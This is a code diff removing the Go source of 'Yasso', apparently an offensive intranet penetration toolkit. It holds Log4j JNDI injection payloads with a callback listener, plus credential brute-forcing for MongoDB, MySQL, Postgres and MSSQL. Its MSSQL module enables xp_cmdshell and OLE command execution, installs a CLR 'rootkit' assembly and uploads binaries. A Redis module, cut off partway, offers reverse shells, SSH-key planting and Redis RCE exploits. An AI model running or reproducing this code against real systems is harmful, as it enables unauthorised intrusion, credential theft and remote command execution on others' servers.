Println(fmt.Sprintf("[LDAP] %s Finger:%s", conn.RemoteAddr().String(), hexStr))
return
}
if RMI(buf) {
Println(fmt.Sprintf("[RMI] %s Finger:%x", conn.RemoteAddr().String(), buf[0:7]))
return
}
}
//TODO: https://github.com/KpLi0rn/Log4j2Scan/blob/main/core/server.go
func RMI(data []byte) bool {
if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 {
if data[4] != 0x00 {
return false
}
if data[5] != 0x01 && data[5] != 0x02 {
return false
}
if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d {
return false
}
lastData := data[7:]
for _, v := range lastData {
if v != 0x00 {
return false
}
}
return true
}
return false
}
func Log4jCheckServer(host string, port string) {
listen, err := net.Listen("tcp", fmt.Sprintf("%s:%s", host, port))
if err != nil {
Println("log4j listen server failed")
return
}
defer listen.Close()
//Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port))
Println("[payload]: ")
Println(fmt.Sprintf("==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port))
Println(fmt.Sprintf("==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port))
Println(fmt.Sprintf("==> ${jndi:ldap://%v:%v/poc}", host, port))
Println("-----------------------------------")
for {
conn, err := listen.Accept()
if err != nil {
Println(fmt.Sprintf("accept failed %v", err))
continue
}
go Log4j2HandleRequest(conn)
}
}

View File

@@ -1,32 +0,0 @@
package cmd
import (
"fmt"
"os"
)
var FileName string
func Println(s string) {
fmt.Println(s)
file, err := os.OpenFile(FileName, os.O_APPEND|os.O_WRONLY, 0666)
defer file.Close()
if err != nil {
fmt.Println("[!] open log file failed", err)
return
}
_, _ = file.WriteString("\n" + s)
}
func CreateLogFile(filename string) {
FileName = filename
_, err := os.Stat(filename)
if err != nil {
file, err := os.Create(filename)
if err != nil {
fmt.Println("[!] create log file failed", err)
return
}
defer file.Close()
}
}

View File

@@ -1,136 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"net"
"strings"
"gopkg.in/mgo.v2"
"time"
)
var MongoCmd = &cobra.Command{
Use: "mongo",
Short: "MongoDB burst module (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BruteMongoByUser()
}
},
}
func BruteMongoByUser() {
if BrutePort == 0 {
BrutePort = 27017
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("mongodb", UserDic, PassDic)
Println("[*] Brute Module [mongodb]")
Println("[*] MongoDB Authorized crack")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("mongodb", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
func MongoAuth(info config.HostIn, user, pass string) (*mgo.Session, bool, error) {
conf := &mgo.DialInfo{
Dial: func(addr net.Addr) (net.Conn, error) {
return GetConn(addr.String(), info.TimeOut)
},
Addrs: []string{fmt.Sprintf("%s:%d", info.Host, info.Port)},
Timeout: info.TimeOut,
Database: "test",
Source: "admin",
Username: user,
Password: pass,
PoolLimit: 4096,
Direct: false,
}
db, err := mgo.DialWithInfo(conf)
if err == nil {
err = db.Ping()
if err != nil {
return nil, false, err
}
//defer db.Close()
return db, true, nil
}
return nil, false, err
}
func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) {
var flag = false
data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
connString := fmt.Sprintf("%s:%v", info.Host, info.Port)
conn, err := GetConn(connString, info.TimeOut)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return false, err
}
_, err = conn.Write(data1)
if err != nil {
return false, err
}
reply := make([]byte, 1024)
count, err := conn.Read(reply)
if err != nil {
return false, err
}
text := string(reply[0:count])
if strings.Contains(text, "ismaster") {
_, err = conn.Write(data2)
if err != nil {
return false, err
}
count, err := conn.Read(reply)
if err != nil {
return false, err
}
text := string(reply[0:count])
if strings.Contains(text, "totalLinesWritten") {
flag = true
Println(fmt.Sprintf("[+] Mongodb %v unauthorized", info.Host))
}
}
return flag, nil
}
func MongodbExec(session *mgo.Session) (string, error) {
var s string
dbs, err := session.DatabaseNames()
for _, db := range dbs {
if collections, err := session.DB(db).CollectionNames(); err == nil {
s += fmt.Sprintf("%s %v\n", db, collections)
}
}
if err != nil {
return "", err
}
return s, nil
}

View File

@@ -1,518 +0,0 @@
package cmd
import (
"Yasso/config"
"database/sql"
_ "embed"
"encoding/hex"
"fmt"
"github.com/cheggaaa/pb/v3"
_ "github.com/denisenkom/go-mssqldb"
"github.com/olekukonko/tablewriter"
"github.com/spf13/cobra"
"io/ioutil"
"math"
"os"
"strconv"
"strings"
"time"
)
/*
内网mssql数据库比较多可以完善一下clr和xp_cmdshell,spoacreate
*/
var (
HelpWarSQLKit int
InWarSQLKit int
UnWarSQLKit int
ExecuteMethod int
UploadFile []string
WarSQLKitCommand string
WarSQLCommand string
)
var MssqlCmd = &cobra.Command{
Use: "mssql",
Short: "SQL Server burst module and extend tools (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
MssqlBurpByUser()
}
},
}
var (
conn = new(setting)
)
func init() {
MssqlCmd.Flags().IntVar(&HelpWarSQLKit, "kithelp", 0, "print SQLKit Use help")
MssqlCmd.Flags().IntVar(&InWarSQLKit, "inkit", 0, "install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
MssqlCmd.Flags().IntVar(&UnWarSQLKit, "unkit", 0, "uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
MssqlCmd.Flags().StringVar(&WarSQLKitCommand, "cld", "", "Execute WarSQLKit Command (eg.) --cld \"whoami\"")
MssqlCmd.Flags().StringVarP(&WarSQLCommand, "sql", "s", "", "Execute sql command")
MssqlCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "Execute System command")
MssqlCmd.Flags().StringVar(&ConnHost, "hostname", "", "Remote Connect mssql address(brute param need false)")
MssqlCmd.Flags().StringVar(&LoginUser, "user", "sa", "Login ssh username")
MssqlCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
MssqlCmd.Flags().IntVar(&ExecuteMethod, "method", 1, "Execute System command method [1,xpshell] [2,oleshell]")
MssqlCmd.Flags().StringArrayVar(&UploadFile, "upload", nil, "Use ole upload file (.eg) source,dest")
}
func MssqlBurpByUser() {
if BrutePort == 0 {
BrutePort = 1433
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("mssql", UserDic, PassDic)
Println("[*] Brute Module [mssql]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("mssql", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" {
db, status, err := MssqlConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println(fmt.Sprintf("[!] Login mssql failed %v", err))
return
}
if db != nil && status == true {
conn.Setting(db)
switch {
case UnWarSQLKit > 0 && UnWarSQLKit <= 2:
conn.Uninstall_clr(UnWarSQLKit)
case InWarSQLKit > 0 && InWarSQLKit <= 2:
conn.Install_clr(InWarSQLKit)
case SQLCommand != "":
if ExecuteMethod == 1 {
Println("[+] Execute Method: xp_cmdshell")
conn.xp_shell(SQLCommand)
} else if ExecuteMethod == 2 {
Println("[+] Execute Method: ole echo")
conn.sp_shell(SQLCommand)
}
case HelpWarSQLKit > 0 && HelpWarSQLKit <= 2:
WarSQLKitHelp(HelpWarSQLKit)
case len(UploadFile) == 1:
filelist := strings.Split(UploadFile[0], ",")
if len(filelist) == 2 {
conn.UploadFile(filelist[0], filelist[1])
} else {
Println("[!] upload file only need 2 params")
}
break
case WarSQLKitCommand != "":
conn.WarSQLKitShell(WarSQLKitCommand)
case WarSQLCommand != "":
r, err := SQLExecute(conn.Conn, WarSQLCommand)
if err != nil {
return
}
for i, s := range r.Rows {
Println(s[i])
}
default:
conn.UnSetting()
}
}
}
}
//go:embed static/WarSQLKit.dll
var WarSQLKitName []byte
//go:embed static/SharpSQLKit.txt
var SharpSQLKit string
type setting struct {
Conn *sql.DB
Command string
}
func MssqlConn(info config.HostIn, user, pass string) (*sql.DB, bool, error) {
var flag = false
db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Host, info.Port, info.TimeOut))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
db.SetMaxIdleConns(0)
err = db.Ping()
if err == nil {
flag = true
return db, flag, nil
}
}
return db, flag, err
}
// 设置数据库连接
func (s *setting) Setting(conn *sql.DB) {
s.Conn = conn
}
func (s *setting) check_configuration(option string, value int) bool {
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`, option)
r, err := SQLExecute(s.Conn, Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func (s *setting) set_configuration(option string, value int) bool {
// 设置
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;", option, value)
_, err := SQLExecute(s.Conn, Command)
if err != nil {
return false
}
return s.check_configuration(option, value)
}
func (s *setting) set_permission_set() bool {
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
Println("[+] ALTER DATABASE master SET TRUSTWORTHY ON")
_, err := SQLExecute(s.Conn, Command)
if err != nil {
Println("[!] ALTER DATABASE master SET TRUSTWORTHY ON Failed")
return false
}
return true
}
// 启用xp_cmdshell
func (s *setting) Enable_xp_cmdshell() bool {
if !s.set_configuration("show advanced options", 1) {
Println("[!] cannot ebable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell", 1) {
Println("[!] cannot enable 'xp_cmdshell'")
return false
}
return true
}
// 关闭xp_cmdshell
func (s *setting) Disable_xp_cmdshell() bool {
if !s.set_configuration("show advanced options", 1) {
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell", 0) {
Println("[!] cannot disable 'xp_cmdshell'")
return false
}
if !s.set_configuration("show advanced options", 0) {
Println("[!] cannot disable 'show advanced options'")
return false
}
return true
}
func (s *setting) Enable_ole() bool {
if !s.set_configuration("show advanced options", 1) {
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures", 1) {
Println("[!] cannot enable 'Ole Automation Procedures'")
return false
}
return true
}
func (s *setting) Disable_ole() bool {
if !s.set_configuration("show advanced options", 1) {
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures", 0) {
Println("[!] cannot disable 'Ole Automation Procedures'")
return false
}
if !s.set_configuration("show advanced options", 0) {
Println("[!] cannot disable 'show advanced options'")
return false
}
return true
}
func (s *setting) sp_shell(Command string) bool {
if s.check_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
return false
}
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'ReadAll', @str out
select @str`, Command)
Println(fmt.Sprintf("[+] Command: %v", Command))
r, err := SQLExecute(s.Conn, sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] exec ole command failed %v", err))
return false
}
for i, b := range r.Rows {
Println(b[i])
}
return true
}
func (s *setting) xp_shell(Command string) bool {
if s.set_configuration("xp_cmdshell", 0) && !s.Enable_xp_cmdshell() {
return false
}
Println(fmt.Sprintf("[+] Command: %v", Command))
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'", Command)
r, err := SQLExecute(s.Conn, sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] exec xp_cmdshell command failed %v", err))
return false
}
for _, b := range r.Rows {
Println(b[0])
}
return true
}
func WarSQLKitToHex() string {
return hex.EncodeToString(WarSQLKitName)
}
func (s *setting) CREATE_ASSEMBLY(flag int) bool {
var KitHex string
if flag == 1 {
Println("[+] SQLKit ==> WarSQLKit")
KitHex = WarSQLKitToHex()
} else if flag == 2 {
Println("[+] SQLKit ==> SharpSQLKit")
KitHex = SharpSQLKit
}
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
AUTHORIZATION [dbo]
FROM 0x%s
WITH PERMISSION_SET = UNSAFE;`, KitHex)
_, err := SQLExecute(s.Conn, Command)
if err != nil {
Println(fmt.Sprintf("[!] Import the assembly failed %v", err))
return false
}
Println("[+] Import the assembly")
return true
}
func (s *setting) CREATE_PROCEDURE(flag int) bool {
var Command string
if flag == 1 {
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [CLR_module].[StoredProcedures].[CmdExec];`)
} else if flag == 2 {
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
}
_, err := SQLExecute(s.Conn, Command)
if err != nil {
Println(fmt.Sprintf("[!] Link the assembly to a stored procedure failed %v", err))
return false
}
Println("[+] Link the assembly to a stored procedure")
return true
}
func (s *setting) Install_clr(flag int) bool {
if !s.set_permission_set() {
return false
}
if !s.CREATE_ASSEMBLY(flag) {
return false
}
if !s.CREATE_PROCEDURE(flag) {
return false
}
Println("[+] Install SQLKit successful!")
Println("[+] Please Use SQL Connect Tools to Execute")
Println("[+] WarSQLKit Command Help --kithelp [1,2]")
return true
}
func (s *setting) Uninstall_clr(flag int) bool {
var Command string
if flag == 1 {
Println("[+] SQLKit ==> WarSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.sp_cmdExec
drop assembly CLR_module`)
} else if flag == 2 {
Println("[+] SQLKit ==> SharpSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
drop assembly CLR_module`)
}
_, err := SQLExecute(s.Conn, Command)
if err != nil {
Println(fmt.Sprintf("[!] Uninstall SQLKit failed %v", err))
return false
}
Println("[+] Uninstall SQLKit successful!")
return true
}
func ReadFileToSplitHex(path string, splitLength int) []string {
data, err := ioutil.ReadFile(path)
if err != nil {
return []string{}
}
HexData := hex.EncodeToString(data)
var hexList []string
num := int(math.Ceil(float64(len(HexData) / splitLength)))
for i := 0; i < num; i++ {
hexList = append(hexList, HexData[i*splitLength:(i+1)*splitLength])
}
hexList = append(hexList, HexData[num*splitLength:])
// 返回分割好的list
return hexList
}
func (s *setting) UploadFile(source, dest string) {
Println(fmt.Sprintf("[+] Ole Upload File %s to %s", source, dest))
if s.set_configuration("Ole Automation Procedures", 0) && !s.Enable_ole() {
Println("[!] setting Ole Automation or enable Ole failed")
return
}
var copyCommand = `copy /b`
var splitLength = 250000
Hexlist := ReadFileToSplitHex(source, splitLength)
bar := pb.StartNew(len(Hexlist))
for i, body := range Hexlist {
var text2 = fmt.Sprintf("%v_%v.config_txt", dest, i)
var sqlstr = fmt.Sprintf(`DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
EXEC sp_OAMethod @ObjectToken, 'Open'
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x%s
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'%s', 2
EXEC sp_OAMethod @ObjectToken, 'Close'
EXEC sp_OADestroy @ObjectToken`, body, text2)
_, err := SQLExecute(s.Conn, sqlstr)
if err != nil {
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading", dest, i))
return
}
if i == 0 {
copyCommand = copyCommand + ` "` + text2 + `"`
} else {
copyCommand = copyCommand + " +" + ` "` + text2 + `"`
}
time.Sleep(1000 * time.Millisecond)
if s.File_Exists(text2, 1) {
bar.Increment()
//Println()(fmt.Sprintf("[+] %s_%v.config_txt Upload completed",dest,i))
} else {
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading", dest, i))
return
}
}
copyCommand = copyCommand + ` "` + dest + `"`
var shell = fmt.Sprintf(`
DECLARE @SHELL INT
EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT
EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c`)
_, err := SQLExecute(s.Conn, shell+copyCommand+"'")
if err != nil {
Println(fmt.Sprintf("%v", err))
return
}
Println("\n[+] copy file success")
time.Sleep(1000 * time.Millisecond)
if s.File_Exists(dest, 1) {
sqlstr := shell + fmt.Sprintf(`del %s*.config_txt`, dest) + "'"
_, err := SQLExecute(s.Conn, sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] del file failed %v", err))
return
}
Println(fmt.Sprintf("\n[+] %s Upload completed", source))
}
}
func (s *setting) File_Exists(path string, value int) bool {
var Command = fmt.Sprintf(`
DECLARE @r INT
EXEC master.dbo.xp_fileexist '%v', @r OUTPUT
SELECT @r as n`, path)
r, err := SQLExecute(s.Conn, Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func WarSQLKitHelp(flag int) {
table := tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"SQL Command", "Introduce"})
table.SetRowLine(true)
var help [][]string
if flag == 1 {
help = config.WarKitHelp
} else if flag == 2 {
help = config.SharpKitHelp
}
for _, v := range help {
table.Append(v)
}
table.Render()
}
func (s *setting) UnSetting() {
s.Conn = nil
}
func (s *setting) WarSQLKitShell(cld string) {
var Command = fmt.Sprintf(`declare @shell varchar(8000);
EXEC sp_cmdExec '%v' ,@shell output
select @shell`, cld)
r, err := SQLExecute(s.Conn, Command)
if err != nil {
Println(fmt.Sprintf("[!] %v", err))
return
}
for i, s := range r.Rows {
Println(s[i])
}
}
func Test() {
db, status, err := MssqlConn(config.HostIn{Host: "192.168.248.128", Port: 1433, TimeOut: 1 * time.Second}, "sa", "admin@123")
if status == true && err == nil {
conn := new(setting)
conn.Setting(db)
conn.UploadFile(`C:\Users\Administrator\Desktop\fscan64.exe`, `1.exe`)
}
}

View File

@@ -1,112 +0,0 @@
package cmd
import (
"Yasso/config"
"context"
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/go-sql-driver/mysql"
_ "github.com/go-sql-driver/mysql"
_ "github.com/lib/pq"
"github.com/spf13/cobra"
"net"
"time"
)
var MysqlCmd = &cobra.Command{
Use: "mysql",
Short: "MYSQL burst module and extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
BruteMysqlByUser()
}
},
}
func BruteMysqlByUser() {
if BrutePort == 0 {
BrutePort = 3306
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("mysql", UserDic, PassDic)
Println("[*] Brute Module [mysql]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("mysql", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" {
if SQLCommand == "" && SQLShellBool == false {
Println("[*] try to add -C to exec sql command or -shell")
return
}
if SQLCommand != "" && SQLShellBool == false {
db, status, err := MySQLConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println("mysql conn failed")
return
}
if status == true {
r, err := SQLExecute(db, SQLCommand)
if err != nil {
Println(fmt.Sprintf("sql execute failed %v", err))
return
}
Println(r.String())
}
}
if SQLCommand == "" && SQLShellBool == true {
db, status, err := MySQLConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println("mysql conn failed")
return
}
if status == true {
SQLshell(db, "mysql")
}
}
}
}
func init() {
MysqlCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "mysql sql command")
MysqlCmd.Flags().StringVar(&ConnHost, "hostname", "", "Remote Connect a Mysql (brute param need false)")
MysqlCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username")
MysqlCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password")
MysqlCmd.Flags().BoolVar(&SQLShellBool, "shell", false, "create sql shell to exec sql command")
}
// mysql 连接
func MySQLConn(info config.HostIn, user, pass string) (*sql.DB, bool, error) {
var flag = false
address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Host, info.Port, time.Duration(info.TimeOut))
mysql.RegisterDialContext("tcp", func(ctx context.Context, network string) (net.Conn, error) {
return GetConn(network, info.TimeOut)
})
db, err := sql.Open("mysql", address)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
//defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return db, flag, err
}

View File

@@ -1,59 +0,0 @@
package cmd
import (
"Yasso/config"
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/spf13/cobra"
"time"
)
var PostgreCmd = &cobra.Command{
Use: "postgres",
Short: "PostgreSQL burst module (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
} else {
BrutePostgreByUser()
}
},
}
func BrutePostgreByUser() {
if BrutePort == 0 {
BrutePort = 5432
}
var ips []string
var err error
if Hosts != "" {
ips, err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v", err))
return
}
if BruteFlag == true {
users, pass := ReadTextToDic("postgres", UserDic, PassDic)
Println("[*] Brute Module [postgres]")
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
SwitchBurp("postgres", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
} else {
Println("[*] May be you want to brute? try to add --crack")
}
}
}
func PostgreConn(info config.HostIn, user, pass string) (bool, error) {
var flag = false
db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Host, info.Port, "postgres", "disable"))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return flag, err
}

153
cmd/ps.go
View File

@@ -1,153 +0,0 @@
package cmd
import (
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"math"
"net"
"strconv"
"strings"
"sync"
"time"
)
var (
DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,5985,6379,7001,3389,8000,8080,8089,9000,9200,11211,27017"
//AlivePort []PortResult
)
type PortResult struct {
IP string
Port []int
}
var PortCmd = &cobra.Command{
Use: "ps",
Short: "The port scanning module will find vulnerable ports (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
var ports []int
hosts, _ := ResolveIPS(Hosts) // 解析获取ip地址
if Ports != "" {
ports, _ = ResolvePORTS(Ports)
} else {
ports, _ = ResolvePORTS(DefaultPorts)
}
Println(fmt.Sprintf("Yasso resolve host len is %v,need scan %v port", len(hosts), len(hosts)*len(ports)))
if len(hosts) <= 0 || len(ports) <= 0 {
// resolve failed
return
}
var AlivePort []PortResult
AlivePort = PortScan(hosts, ports)
for _, rs := range AlivePort {
Println(fmt.Sprintf("%v %v", rs.IP, rs.Port))
}
},
}
func init() {
PortCmd.Flags().DurationVarP(&TimeDuration, "time", "t", 500*time.Millisecond, "Set timeout (eg.) -t 50ms(ns,ms,s,m,h)")
PortCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `Set `hosts`(The format is similar to Nmap) or ips.txt file path")
PortCmd.Flags().StringVarP(&Ports, "ports", "p", "", "Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389")
PortCmd.Flags().IntVarP(&Runtime, "runtime", "r", 100, "Set scanner ants pool thread")
rootCmd.AddCommand(PortCmd)
}
// port scanner
func PortScan(host []string, ports []int) []PortResult {
var tempPort []PortResult
var wg sync.WaitGroup
p, _ := ants.NewPoolWithFunc(len(host), func(ip interface{}) {
_ = ants.Submit(func() {
aport := EachScan(ip.(string), ports)
//Println()(aport)
if len(aport) != 0 {
// 扫描完成,加入扫描结果队列
tempPort = append(tempPort, PortResult{ip.(string), aport})
} // 将ip赋值给AlivePort*/
wg.Done()
})
})
for _, ip := range host {
if strings.Contains(ip, ":") {
addr := strings.Split(ip, ":")[0]
port, _ := strconv.Atoi(strings.Split(ip, ":")[1])
if portConn(addr, port) {
Println(fmt.Sprintf("[+] %v %v open", addr, port))
tempPort = append(tempPort, PortResult{addr, []int{port}})
}
} else {
wg.Add(1)
_ = p.Invoke(ip)
}
}
wg.Wait()
return tempPort
}
func EachScan(host string, ports []int) []int {
var aport []int
var wg sync.WaitGroup
// 计算一个协程需要扫描多少端口
var thread int
// 如果端口数小于协程数量,thread为端口数量
if len(ports) <= Runtime {
thread = len(ports)
} else {
// 计算端口数量
thread = Runtime // 协程数量
}
num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量
// 分割端口
all := map[int][]int{}
for i := 1; i <= thread; i++ {
for j := 0; j < num; j++ {
tmp := (i-1)*num + j
if tmp < len(ports) {
all[i] = append(all[i], ports[tmp])
}
}
}
//Println()(all)
for i := 1; i <= thread; i++ {
wg.Add(1)
tmp := all[i]
_ = ants.Submit(func() {
// 1,2 2,3
//Println()(i,thread)
for _, port := range tmp {
// 遍历每一个端口列表
if portConn(host, port) {
aport = append(aport, port) // 端口返回true开放加入aport列表
Println(fmt.Sprintf("[+] %v %v open", host, port))
}
}
wg.Done()
})
}
wg.Wait()
return aport
}
func portConn(addr string, port int) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", addr, port), TimeDuration)
defer func() {
if conn != nil {
_ = conn.Close()
}
}()
if err == nil {
return true
} else {
return false
}
}

View File

@@ -1,681 +0,0 @@
package cmd
// redis 6379 端口
import (
"Yasso/config"
"bufio"
"context"
_ "embed"
"errors"
"fmt"
"github.com/go-redis/redis/v8"
"github.com/spf13/cobra"
"io"
"net"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
//go:embed static/exp.so
var payload []byte
var RedisCmd = &cobra.Command{
Use: "redis",
Short: "Redis burst and Redis extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
} else {
BruteRedisByUser()
}
},
}
var (
RemoteHost string
RemotePublicKey string
LocalHost string
LocalPort int
RemoteSoPath string
IsRCE bool
RedisRCEMethod string
)
func init() {
RedisCmd.Flags().StringVar(&RemotePublicKey, "rekey", "", "Write public key to Redis (eg.) id_rsa.pub")
RedisCmd.Flags().StringVar(&RemoteHost, "rebound", "", "Rebound shell address (eg.) 192.168.1.1:4444")
RedisCmd.Flags().StringVar(&ConnHost, "hostname", "", "Redis will connect this address")
RedisCmd.Flags().StringVar(&LoginPass, "pass", "", "set login pass")
RedisCmd.Flags().StringVar(&SQLCommand, "sql", "", "Execute redis sql command")
RedisCmd.Flags().StringVar(&LocalHost, "lhost", "", "set local listen host (target redis need connect)")
RedisCmd.Flags().IntVar(&LocalPort, "lport", 20001, "set local listen port (target redis need connect)")
RedisCmd.Flags().StringVar(&RemoteSoPath, "so", "", "set target so path (not must)")
RedisCmd.Flags().StringVar(&RedisRCEMethod, "method", "rce", "rce(master-slave) or lua(CVE-2022-0543)")
RedisCmd.Flags().BoolVar(&IsRCE, "rce", false, "Whether to try rCE vulnerability")
}
func BruteRedisByUser() {
if BrutePort == 0 {
BrutePort = 6379
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips, err = ResolveIPS(Hosts)
